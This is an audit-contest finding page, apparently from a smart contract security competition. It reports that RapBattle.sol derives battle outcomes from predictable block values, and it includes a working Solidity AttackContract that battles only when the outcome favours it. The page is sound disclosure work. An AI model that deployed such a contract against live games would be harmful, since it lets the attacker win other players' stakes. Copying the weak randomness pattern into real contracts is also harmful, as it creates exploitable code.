Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Randomness in RapBattle.sol can be predicted

Summary

The _battle function in RapBattle.sol uses the following code to aid in determining who wins the battle.

    uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;

The random variable generated can easily be predicted. A user can use a smart contract to only call the goOnStageOrBattle() function in RapBattle.sol if they know that they are guaranteed to win. The 3 variables used to generate the "random" variable are all known at runtime. It is important to note that block.prevrandao does not generate a random number. Instead, it reads the RANDAO mix generated in the previous block.

Vulnerability Details

Here is a crude implementation of a smart contract that could be used to predict the randomness. Note that we are assuming that the _credBet amount is 0. The point of this contract is just to showcase how the randomness can be gamed. Also in a production environment, this contract should be Ownable to prevent others from using your contract.

contract AttackContract is IERC721Receiver{  
    RapBattle rapBattle;
    OneShot oneShot;
    
    constructor(address _rapBattle, address _oneShot){
        rapBattle = RapBattle(_rapBattle);
        oneShot = OneShot(_oneShot);
    }

    //Mint a rapper for the smart contract
    function mintRapper() external{
        oneShot.mintRapper();
    }

    //Returns a boolean signifying if the contract battled or not
    function BattleOnlyIfWin(uint256 tokenId) external returns(bool){
        uint256 defenderTokenId = rapBattle.defenderTokenId();
        uint256 defenderRapperSkill = rapBattle.getRapperSkill(defenderTokenId);
        uint256 totalBattleSkill=defenderRapperSkill + rapBattle.getRapperSkill(tokenId);

        uint256 random =
            uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this)))) % totalBattleSkill;

        if(random <= defenderRapperSkill){
            return false;
        }else{
            oneShot.approve(address(rapBattle), tokenId);
            rapBattle.goOnStageOrBattle(tokenId, 0);
            return true;
        }
    }

    // Implementing IERC721Receiver so the contract can accept ERC721 tokens
    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

Impact

A user can precalculate the result of the random variable and only choose to battle when they are guaranteed to win.

Tools Used

Foundry

Recommendations

Use an Oracle to provide randomness to the smart contract.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.